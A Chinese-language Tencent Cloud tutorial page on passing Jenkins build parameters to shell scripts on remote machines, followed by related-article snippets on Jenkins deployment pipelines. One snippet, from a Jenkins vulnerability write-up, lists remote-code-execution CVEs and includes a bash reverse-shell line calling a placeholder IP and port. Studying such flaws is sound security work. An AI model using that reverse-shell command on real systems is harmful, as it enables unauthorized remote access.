首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

通过jenkins将参数传递给远程机器中的shel脚本

Jenkins是一个开源的持续集成和交付工具,它可以帮助开发团队自动化构建、测试和部署软件项目。通过Jenkins,我们可以将参数传递给远程机器中的shell脚本,实现远程执行命令或脚本的功能。

具体实现步骤如下:

  1. 配置Jenkins节点:首先,在Jenkins中配置远程机器作为节点。在Jenkins主界面的"系统管理"中,选择"节点管理",然后点击"新建节点"。填写节点名称、选择节点类型(如"Permanent Agent"),并配置节点的相关信息,如远程机器的IP地址、登录凭据等。
  2. 创建Jenkins任务:在Jenkins主界面,点击"新建任务",填写任务名称,并选择"构建一个自由风格的软件项目"。在任务配置页面中,找到"构建"部分,点击"增加构建步骤",选择"Execute shell"。
  3. 编写shell脚本:在"Execute shell"的输入框中,编写需要在远程机器上执行的shell脚本。可以使用Jenkins提供的环境变量和参数,如$BUILD_NUMBER、$JOB_NAME等,来实现灵活的脚本编写。
  4. 传递参数:如果需要将参数传递给远程机器中的shell脚本,可以通过Jenkins的参数化构建功能实现。在任务配置页面的"构建触发器"部分,勾选"参数化构建过程",然后点击"增加参数",选择需要的参数类型,如字符串、布尔值等。填写参数名称,并设置默认值或描述信息。
  5. 在shell脚本中使用参数:在shell脚本中,可以通过$参数名称的方式引用传递的参数。例如,如果传递了一个名为"target_server"的字符串参数,可以在shell脚本中使用$target_server来获取该参数的值。

通过以上步骤,我们可以实现通过Jenkins将参数传递给远程机器中的shell脚本。这样,我们可以在Jenkins中配置和管理任务,并通过参数化构建功能实现灵活的参数传递,从而实现自动化部署和执行远程命令的需求。

腾讯云相关产品推荐:

  • 云服务器(CVM):提供弹性计算能力,可用于部署Jenkins节点和远程机器。
  • 云函数(SCF):无服务器计算服务,可用于执行脚本和命令。
  • 云开发(TCF):提供全栈云开发能力,可用于快速构建和部署应用程序。

更多腾讯云产品信息,请访问腾讯云官方网站:https://cloud.tencent.com/

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

用代码实现流水线部署,像诗一般优雅

(3)Jenkins 通过 JDK 和 Maven 工具对 Java 代码进行打包部署。 (4)Jenkins JAR 包拷贝到远程服务器固定目录下。...(5)Jenkins 通过 SSH 插件执行远程命令,包进行备份操作。 (6)Jenkins 通过执行远程命令,更新 JAR 包。 (7)Jenkins 通过执行远程命令,重启容器。...默认情况下,分支被设置为dev-01.30,用户可以选择不同分支。 在脚本,这个参数可以通过params.GIT_BRANCH 获取到。 保存配置后,需要先运行一次这个项目才能看到参数配置。...下面上传代码作用是遍历 filesToCopy 列表文件,然后通过 SSH 这些文件上传到远程服务器指定目录。...这段代码作用是遍历 serviceNameList 列表服务名称,然后通过 SSH 连接到远程服务器执行备份操作,每个服务 JAR 包移动到指定备份目录,并根据时间戳进行命名。

59610

SpringCloud+Docker+Jenkins+GitLab+Maven实现自动化构建与部署实战

远程文件目录,同理也参数构建占位符${serverPath}获取 ?...5、多台机器免密远程登录&Jenkins部署流程详解 6.1 特别说明 以测试环境为例子进行说明 步骤流程几乎一样,唯一是在SSH Publishers 和源码存放路径不一样,测试环境部署目标机器是与Jenkins...机器不同一台机器 6.2 新建maven工程 点击Jenkins新建任务菜单 ?...表示与Jenkins部署同一个宿主机,使用脚本远程机器shell脚本操作免登陆操作。...2、以上问题都是根据个人实际学习过程遇到问题进行一个一个问题进行梳理与总结整理,除了技术问题查很多网上资料通过进行学习之后整理与分享。

9.4K40
  • 持续集成 — 构建接口自动化测试一种解决方案

    服务器(仅用于构建任务job管理工作,执行代码及运行脚本工作并不在此服务器上) 思路如下: jenkins服务器用于: 1)源码管理 ?...构建脚本 jenkins 通过 ssh 远程服务器IP地址方式远程连接服务器,然后执行远程服务器上一套构建脚本, 当执行完成构建脚本后,利用pythonallure插件生成result结果目录,...并通过rsync命令,远程服务器 执行完成后result结果目录回jenkins服务器该job工作区间指定路径,然后利用jenkins上集成 allure插件自动生成测试报告 综上所述注意点如下...: 1)ssh远程连接服务器时,首先需要将jenkins公钥信息提供给远程那台服务器,并且存放至/root/.ssh/authorized_keys 文件存储 这样才可以免密码登录 2)远程服务器需要安装...html 推荐使用rsync而不推荐使用scp命令,原因是速度快很多倍,缺点是消耗性能大一些,但是可忽略不计(我们只是个测试结果而已,大也就100MB左右) 5)远程服务器构建脚本拉代码推荐使用如题所示方式

    1.2K20

    SpringCloud+Docker+Jenkins+GitLab+Maven实现自动化构建与部署实战

    远程文件目录,同理也参数构建占位符${serverPath}获取 SSH Publishers shell脚本#!...部署结果 5、多台机器免密远程登录&Jenkins部署流程详解 6.1 特别说明 以测试环境为例子进行说明 步骤流程几乎一样,唯一是在SSH Publishers 和源码存放路径不一样,测试环境部署目标机器是与...Jenkins机器不同一台机器 6.2 新建maven工程 点击Jenkins新建任务菜单 6.3 参数化构建过程说明 6.3.1添加参数 6.3.2 参数说明以测试环境为案例 6.3.3 源码管理...}获取 docker_server1表示与Jenkins部署同一个宿主机,使用脚本远程机器shell脚本操作免登陆操作。...2、以上问题都是根据个人实际学习过程遇到问题进行一个一个问题进行梳理与总结整理,除了技术问题查很多网上资料通过进行学习之后整理与分享。

    7.9K20

    Docker+Jenkins+Git+GitLab实现DevOps

    我们可以使用Jenkins结合常用版本控制工具(git、svn等)来实现自动部署项目,比如说我们从本地上传代码到Gitlab代码仓库,Jenkins就会帮我们自动同步代码,然后经编译打包之后推送至远程...Docker仓库,再之后我们通过服务器从远程Docker仓库拉取镜像、创建及启动容器,然后就可以通过浏览器访问了,整个过程几乎都是自动完成,而我们只需要上传代码就可以了,接下来我们一起来看看整个搭建过程吧...Version 2.222.4:参考本文 通过本文可以了解哪些 通过Docker部署Jenkins 使用Jenkins一键部署Springboot项目 整合GitLab实现上传代码自动部署项目 如下Jenkins...脚本,这个脚本有两个操作,首先是通过 docker ps | grep "10.211.55.4:5000/niceyoo-demo"查询是否存在容器,如果存在的话则stop停止容器,然后再rm删除容器...: [image-20200611160705712.png] 到这,我们就可以运行一下了,点击立即构建,然后通过点击 Build History 控制台输出 [image-20200611160937833

    2.5K00

    远程触发JenkinsPipeline任务并发问题处理

    前文概述 本文是《远程触发JenkinsPipeline任务》续篇,上一篇实战了通过Http请求远程触发指定Jenkins任务,并且参数递给Jenkins任务Pipeline脚本使用,文末提到有个并发问题留待本文来处理...; 远程触发Jenkins问题 对Jenkins服务来说,很可能在某一时刻收到多个Http请求,并且这些请求都想触发同一任务,在实际使用中发现此时Jenkins并不对每个请求都运行一次任务,接下来实战...,我们就来重现并解决此问题; 用Java代码实现多个并发请求 用Java代码来模拟同一时刻多个Http请求到达Jenkins情况:写个Java程序,一次性发送10个Http请求,都是远程触发上一章...在参数编辑框,Name字段填写ref,如下图红框所示,注意这个参数在上一篇文章在Generic Webhook Trigger参数设置过,是个固定参数,插件会用到: ?...点开其中一个查看日志,如下图,可见参数正确,并且任务执行成功: ? 至此,远程触发Jenkins任务并发问题已经修复,如果您也遇到了类型问题,希望本文能给您一些参考。

    61410

    不同环境下 Jenkins 调用 shell 脚本管理 docker 容器

    一、生产环境 Jenkins 使用 ssh-copy-id 实现 SSH 无密码登录,实现方式如下: ssh-keygen 产生公钥与私钥对. ssh-copy-id 本机公钥复制到远程机器 authorized_keys...文件,ssh-copy-id 也能让你有到远程机器 home, ~..../ssh , 和 ~/.ssh/authorized_keys 权利 第一步:在本地机器上使用 ssh-keygen 产生公钥私钥对 $ ssh-keygen 第二步:用 ssh-copy-id 公钥复制到远程机器...停止捕捉,但也会关闭 wireshark 窗口,可以传递一个“-c #”参数给 tshark,让它只捕捉“#”指定数据包类型,或通过命名管道重定向数据,而不是直接通过 SSH 传输给 wireshark...二、Linux环境和Jenkins环境2则脚本,仅供参考 1、Jenkins 构建调用 shell 脚本管理容器(Linux环境)脚本: #!

    1.6K20

    Jenkins运行ansible playbooks

    因此,使用Jenkins pipeline语言,您可以使用ansible_playbook方法,这将在Jenkins作业执行作为参数传递playbook。...Job,并将必要参数添加到我们配置Playbook通过这些参数递给作业执行,我们可以自动安装mariaDB,增强root密码,使用给定名称创建新数据库,创建对该数据库具有权限用户。...但是,最后一个参数是:Ansible要在目标计算机上执行命令,有必要将登录凭据传递给计算机。为此,我们使用Jenkins凭据管理功能,该功能使以安全方式存储秘钥。...这个模块允许我们在jenkins存储登录名/密码对: 我们可以通过添加类型为Credentials参数,以一种简单方式这些凭据传递给Jenkins作业: 然后,我们编辑作业常规脚本,以这组参数递给...总结 因此,我们现在可以Jenkins作业准备在任何引用计算机上运行一次或多次,并且可以通过图形界面和作业配置简单地执行这些作业。全部运行时无需输入密码。

    3.1K10

    Jenkins 配合Pipeline使用Docker

    Pipeline支持添加传递给Docker自定义参数,允许用户指定要加载自定义Docker 卷,该卷可用于在Pipeline运行之间缓存agent上数据。...build()方法第二个参数并将其传递给docker构建。...通过URI和在Jenkins预先配置Docker服务器证书身份验证凭据ID(可选)传递给方法: node { checkout scm docker.withServer('tcp...nonexistent 当Jenkins检测到代理本身正在Docker容器运行时,它会自动--volumes from参数递给inside容器,确保它可以与代理共享一个工作空间。...脚本,inside: 自动获取代理和工作区(不需要额外node块) 请求镜像拉取到Docker服务器(如果尚未缓存的话) 启动一个运行该镜像容器 使用相同文件路径,Jenkins工作区作为

    3.3K10

    教你如何用Jenkins自动化部署项目(教程,从零到搭建完成)

    安装git目的是在自动化部署前实时从git远程仓库拉取最新代码。...三、Linux服务器注册到Jenkins上 1、开启服务器上ssh服务,可通过 netstat -anp | grep :22命令查看是否开启 2、先来测试一下怎么在jenkins操作远程服务器...其中远程工作目录即你在Linux上创建jenkins目录。在Credentials添加一个远程用户,输入你远程机器用户名和密码保存。 ? 点击TestEnv,启动代理。...具体创建Jenkins任务过程为 1.创建jenkins任务 2.填写Server信息 3.配置git参数 4.填写构建语句(shell脚本),实现自动部署。...四、创建自动化部署任务 1、编写shell部署脚本deploy.sh,并放到linux服务器jenkins目录下,在该目录下通过touch deploy.sh创建一个脚本,把下面的脚本复制到里面即可

    4.8K21

    教你如何用Jenkins自动化部署项目(教程,从零到搭建完成)

    安装git目的是在自动化部署前实时从git远程仓库拉取最新代码。...三、Linux服务器注册到Jenkins上 1、开启服务器上ssh服务,可通过 netstat -anp | grep :22命令查看是否开启 2、先来测试一下怎么在jenkins操作远程服务器...在Credentials添加一个远程用户,输入你远程机器用户名和密码保存。 点击TestEnv,启动代理。...具体创建Jenkins任务过程为 1.创建jenkins任务 2.填写Server信息 3.配置git参数 4.填写构建语句(shell脚本),实现自动部署。...四、创建自动化部署任务 1、编写shell部署脚本deploy.sh,并放到linux服务器jenkins目录下,在该目录下通过touch deploy.sh创建一个脚本,把下面的脚本复制到里面即可

    9.1K52

    Jenkins结合ansible实现虚机部署

    以重庆用户管理项目为例 由于使用虚机部署,跟结合k8s和docker有一些区别,且此部署是针对私有化部署,例如本例重庆项目,外面是无法访问到服务器,像这种场景部署,需要具备以下条件: 提供一台局域网内代理机...但要知道每台机器密码和SSH端口,否则无法实现部署 Jenkins配置 由于我已经实现准备好了针对虚机Jenkins配置,所以只需要改下配置即可,以user-manage为例: 1)点击配置 ?.../jenkins/workspace/scripts/backupjar.sh" //用于本地备份jar包脚本 def git_address = "git@codehub.devcloud.huaweicloud.com...}.jar root@${ip_addr}:/ansible-deploy/pkg/${apps_name}/${jar_name}" //本地打好jar包发送到远程代理机上,并加上时间戳和commit...playbook示例下载: [点击下载][1] playbook中提供了两种方式启动,一种是supervisor,另一种是通过执行shell脚本方式,最好是通过supervisor方式启动,这样更加规范

    2.5K10

    前端自动化部署深度实践

    : npm run build执行构建任务 构建得到dist文件夹内容通过scp传输到服务器,通过版本号区分各个版本。...linux服务器项目版本文件夹 如果要回退版本,也可以通过修改软连接方式实现,还是比较方便。 推送到remote 最后别忘了把代码push到远程仓库。...之前本想直接在npm scripts调用deploy.sh并传入版本号参数,但是试了几种写法都不行,这里也记录一下。...sh脚本时,只能写字面量参数变量作为参数好像行不通。...有了这段自动化部署学习经历后,相信学习和使用jenkins会变得更轻松。接下来我会继续优化和规范自己部署流程,jenkins理所当然会出现在我计划表

    1.1K31

    jenkins 入门教程(上)

    项目及向远程机器上传文件及执行远程shell命令。...对于git托管项目,git配置是不可少 ? 如果部署过程,还需要运行shell脚本,以及通过scp向远程机器上传文件,则需要配置下面这些 ?...注:上图中红色标1地方,填写是本机ssh私钥证书,红色标2地方为证书访问密码,如果未设置证书密码,直接留空,Root Repository Path为远程服务器上传根目录,hostname即为远程服务器机器名称...此外,还有一个强大publish over ssh,不仅能向远程服务器上传文件,还能远程执行服务器上Shell脚本,可参考下面配置 ?...跟SCP参数设置类似,不过这个插件多出了一个Test Configuration按钮,如果参数正确,点击该按钮后,会尝试连接到远程服务器,成功的话,会显示Success.

    3.1K100

    使用Jenkins配置SpringBoot自动化构建

    (2)关键是Post Steps脚本,这里详细解释: 首先,我们应该要明白Jenkins原理,他是这样,如果我们在新建时候指定了Maven项目和代码Git地址,Jenkins首先会通过Git...可以看出,只要明白了Jenkins工作机制,尽管目前Jenkins上SpringBoot相关插件还没有,但是我们可以一步步通过脚本方式进行运行! 四、运行结果 ? ?...五、编译好jar文件传到另一个服务器 上述我们只是通过cp命令编译好jar移动到同一个服务器另外一个位置,正常情况肯定不会是这样,他应该是其他服务器上指定位置,并且服务器数量可能还不止一个...; (2)公钥证书id_rsa.pub复制到机器B用户根目录.ssh子目录,再将文件内容append到文件authorized_keys。...这里执行了远程主机192.168.1.241上一个脚本startup.sh,脚本如下: ? 为什么,执行这个远程脚本而不是直接通过expect执行哪?

    1.1K20

    基于 Jenkins 挂载节点增强分布式编译效率

    此时master和slave其实是建立双向字节流连接,其中连接方法主要有如下几种: 1. master通过ssh来启动slave Jenkins内置有ssh客户端实现,可以用来与远程sshd通信,...创建public/private keys,然后public key拷贝到slave~/.ssh/authorized_keysprivate key 保存到master上某ppk文件。...slave有管理员访问权限用户名和密码,jenkins远程地创建windows service然后远程地启动和停止他们。...典型地,你脚本使用远程程序执行机制,例如SSH,RSH,或类似的方法(在windows,可以通过cygwin或psexec来完成), 在脚本最后需要执行类似Java -jar slave.jar来启动...sh来自动地配置slave环境,例如创建jenkins用户,安装sshd,安装java,ant,maven等; 使用脚本来启动slave,保证slave总是运行在相同参数下: #!

    2.2K40

    安全研究 | Jenkins漏洞分析

    2、服务探测与发现 fofa: app=”Jenkins” 3、CVE-2017-1000353 Jenkins-CI远程代码执行 3.1、漏洞描述 Jenkins未授权远程代码执行漏洞, 允许攻击者序列化...二、利用下载文件方法来反弹shell 1、首先创建文本内容如下,ip和端口填写我们接收shell机器ip和端口 bash -i >& /dev/tcp/x.x.x.x/9999 0>&1 2、文本放置在开启...该漏洞通过AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。... 6、CVE-2015-8103 Jenkins远程代码执行 6.1、漏洞描述 1.638之前Jenkins和1.625.2之前LTSJenkins CLI子系统,允许远程攻击者通过制作序列化...11、CVE-2016-9299 Jenkins CLI Ldap Deser 11.1、漏洞描述 2.32之前Jenkins和2.19.3之前LTS远程处理模块允许远程攻击者通过精心制作序列化

    5.7K10

    pipeline 步骤(

    二.制品相关 存取临时文件 stash步骤可以一些文件保存起来,以便被同一次构建其他步骤或阶段使用。如果整个pipeline所有阶段在同一台机器上执行,则stash步骤是多余。...所以,通常需要stash文件都是要跨Jenkins node使用。 stash步骤会将文件存储在tar文件,对于大文件stash操作将会消耗Jenkins master计算资源。...returnStdout:布尔类型,如果为true,则任务标准输出将作为步骤返回值,而不是打印到构建日志(如果有错误,则依然会打印到日志)。除了script参数,其他参数都是可选。...powershell步骤执行是PowerShell脚本,支持3+版本。这两个步骤支持参数与sh步骤一样。...四.调用其它pipeline 在Jenkins pipeline可以使用build步骤实现调用另一个pipeline功能。

    1.6K21
    领券